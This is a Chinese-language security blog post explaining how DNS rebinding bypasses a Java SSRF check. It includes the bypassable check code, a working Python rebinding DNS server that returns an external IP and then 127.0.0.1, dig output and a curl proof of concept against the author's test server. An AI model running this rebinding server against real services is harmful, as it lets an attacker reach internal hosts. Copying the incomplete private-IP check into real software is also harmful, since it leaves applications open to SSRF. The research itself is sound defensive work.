Author: JoyChou@meili-inc
本篇文章会比较详细的介绍,如何使用DNS Rebinding绕过Java中的SSRF。网上有蛮多资料介绍用该方法绕过常规的SSRF,但是由于Java的机制和PHP等语言不太一样。所以,我觉得,有必要单独拿出来聊一聊,毕竟目前很多甲方公司业务代码都是Java。
所以,其中会发起DNS请求的步骤为,第2、4、6步,看来至少要请求3次。因为第6步至少会执行1次DNS请求。
另外,网上有很多不严谨的SSRF修复逻辑不会判断跳转,导致可以被Bypass。
通过自己搭建DNS服务器,返回自己定义的IP,进行一些限制的绕过。所以,我们可以利用DNS Rebinding在第一次发起DNS请求时,返回外网IP,后面全部返回内网IP 这种方式来绕过如上的修复逻辑。我们来看下是如何绕过的。
首先,修复逻辑中第2步发起DNS请求,DNS服务器返回一个外网IP,通过验证,执行到第四步。
接着,修复逻辑中第4步会发起DNS请求,DNS服务器返回一个内网IP。此时,SSRF已经产生。
TTL(Time To Live)是DNS缓存的时间。简单理解,假如一个域名的TTL为10s,当我们在这10s内,对该域名进行多次DNS请求,DNS服务器,只会收到一次请求,其他的都是缓存。
所以搭建的DNS服务器,需要设置TTL为0。如果不设置TTL为0,第二次DNS请求返回的是第一次缓存的外网IP,也就不能绕过了。
平时使用的MAC和Windows电脑上,为了加快HTTP访问速度,系统都会进行DNS缓存。但是,在Linux上,默认不会进行DNS缓存(https://stackoverflow.com/questions/11020027/dns-caching-in-linux) ,除非运行nscd等软件。不过,知道Linux默认不进行DNS缓存即可。这也解释了,我为什么同样的配置,我在MAC上配置不成功,Linux上配置可以。需要注意的是,IP为8.8.8.8的DNS地址,本地不会进行DNS缓存。
我们要先了解下Java应用的TTL。Java应用的默认TTL为10s,这个默认配置会导致DNS Rebinding绕过失败。也就是说,默认情况下,Java应用不受DNS Rebinding影响。Java TTL的值可以通过下面两种方式进行修改:
/Library/Java/JavaVirtualMachines/jdk1.8.0_121.jdk/Contents/Home/jre/lib/security/java.security(我MAC下的路径)
里的networkaddress.cache.negative.ttl=0
java.security.Security.setProperty("networkaddress.cache.negative.ttl" , "0");
这个地方是个大坑,我之前在测试时,一直因为这个原因,导致测试不成功。这也是利用DNS Rebinding过程中,Java和PHP不一样的地方。在测试PHP时,这份PHP代码用DNS Rebinding可以绕过,类似的代码Java就不能被绕过了。
用Java Spring写了一个漏洞测试地址为http://test.joychou.org:8080/checkssrf?url=http://dns_rebind.joychou.me。URL会进行SSRF验证。SSRF修复代码如下。也可以在Github上查看https://github.com/JoyChou93/trident
/*
* check SSRF (判断逻辑为判断URL的IP是否是内网IP)
* 如果是内网IP,返回false,表示checkSSRF不通过。否则返回true。即合法返回true
* URL只支持HTTP协议
* 设置了访问超时时间为3s
*/
public static Boolean checkSSRF(String url) {
HttpURLConnection connection;
String finalUrl = url;
try {
do {
// 判断当前请求的URL是否是内网ip
Boolean bRet = isInnerIpFromUrl(finalUrl);
if (bRet) {
return false;
}
connection = (HttpURLConnection) new URL(finalUrl).openConnection();
connection.setInstanceFollowRedirects(false);
connection.setUseCaches(false); // 设置为false,手动处理跳转,可以拿到每个跳转的URL
connection.setConnectTimeout(3*1000); // 设置连接超时时间为3s
//connection.setRequestMethod("GET");
connection.connect(); // send dns request
int responseCode = connection.getResponseCode(); // 发起网络请求 no dns request
if (responseCode >= 300 && responseCode < 400) {
String redirectedUrl = connection.getHeaderField("Location");
if (null == redirectedUrl)
break;
finalUrl = redirectedUrl;
// System.out.println("redirected url: " + finalUrl);
} else
break;
} while (connection.getResponseCode() != HttpURLConnection.HTTP_OK);
connection.disconnect();
} catch (Exception e) {
return true;
}
return true;
}
/*
内网IP:
10.0.0.1 - 10.255.255.254 (10.0.0.0/8)
192.168.0.1 - 192.168.255.254 (192.168.0.0/16)
127.0.0.1 - 127.255.255.254 (127.0.0.0/8)
172.16.0.1 - 172.31.255.254 (172.16.0.0/12)
*/
public static boolean isInnerIp(String strIP) throws IOException {
try{
String[] ipArr = strIP.split("\\.");
if (ipArr.length != 4){
return false;
}
int ip_split1 = Integer.parseInt(ipArr[1]);
return (ipArr[0].equals("10") ||
ipArr[0].equals("127") ||
(ipArr[0].equals("172") && ip_split1 >= 16 && ip_split1 <=31) ||
(ipArr[0].equals("192") && ipArr[1].equals("168")));
}catch (Exception e) {
return false;
}
}
/*
* 域名转换为IP
* 会将各种进制的ip转为正常ip
* 167772161转换为10.0.0.1
* 127.0.0.1.xip.io转换为127.0.0.1
*/
public static String DomainToIP(String domain) throws IOException{
try {
InetAddress IpAddress = InetAddress.getByName(domain); // send dns request
return IpAddress.getHostAddress();
}
catch (Exception e) {
return "";
}
}
/*
从URL中获取域名
限制为http/https协议
*/
public static String getUrlDomain(String url) throws IOException{
try {
URL u = new URL(url);
if (!u.getProtocol().startsWith("http") && !u.getProtocol().startsWith("https")) {
throw new IOException("Protocol error: " + u.getProtocol());
}
return u.getHost();
} catch (Exception e) {
return "";
}
}
此时,当访问dns_rebind.joychou.me
域名,先解析该域名的DNS域名为ns.joychou.me
,ns.joychou.me
指向47这台服务器。
DNS Server代码如下,放在47服务器上。其功能是将第一次DNS请求返回35.185.163.135
,后面所有请求返回127.0.0.1
from twisted.internet import reactor, defer
from twisted.names import client, dns, error, server
record={}
class DynamicResolver(object):
def _doDynamicResponse(self, query):
name = query.name.name
if name not in record or record[name]<1:
ip = "35.185.163.135"
else:
ip = "127.0.0.1"
if name not in record:
record[name] = 0
record[name] += 1
print name + " ===> " + ip
answer = dns.RRHeader(
name = name,
type = dns.A,
cls = dns.IN,
ttl = 0,
payload = dns.Record_A(address = b'%s' % ip, ttl=0)
)
answers = [answer]
authority = []
additional = []
return answers, authority, additional
def query(self, query, timeout=None):
return defer.succeed(self._doDynamicResponse(query))
def main():
factory = server.DNSServerFactory(
clients=[DynamicResolver(), client.Resolver(resolv='/etc/resolv.conf')]
)
protocol = dns.DNSDatagramProtocol(controller=factory)
reactor.listenUDP(53, protocol)
reactor.run()
if __name__ == '__main__':
raise SystemExit(main())
➜ security dig @8.8.8.8 dns_rebind.joychou.me
; <<>> DiG 9.8.3-P1 <<>> @8.8.8.8 dns_rebind.joychou.me
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 40376
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;dns_rebind.joychou.me. IN A
;; ANSWER SECTION:
dns_rebind.joychou.me. 0 IN A 35.185.163.135
;; Query time: 203 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
;; WHEN: Fri Sep 8 14:52:43 2017
;; MSG SIZE rcvd: 55
➜ security dig @8.8.8.8 dns_rebind.joychou.me
; <<>> DiG 9.8.3-P1 <<>> @8.8.8.8 dns_rebind.joychou.me
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 14172
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;dns_rebind.joychou.me. IN A
;; ANSWER SECTION:
dns_rebind.joychou.me. 0 IN A 127.0.0.1
;; Query time: 172 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
;; WHEN: Fri Sep 8 14:52:45 2017
;; MSG SIZE rcvd: 55
可以看到第一次返回35.185.163.135,第二次返回127.0.0.1。 dig加上@8.8.8.8是指定本地DNS地址为8.8.8.8,因为该地址不会有缓存。每dig一次,DNS Server都会收到一次请求。
curl 'http://test.joychou.org:8080/checkssrf?url=http://dns_rebind.joychou.me'
返回test.joychou.org
页面内容It works.
在测试时,我把该服务器的80端口已经限制为只有本地能访问,所以,我们的POC已经绕过内网的限制。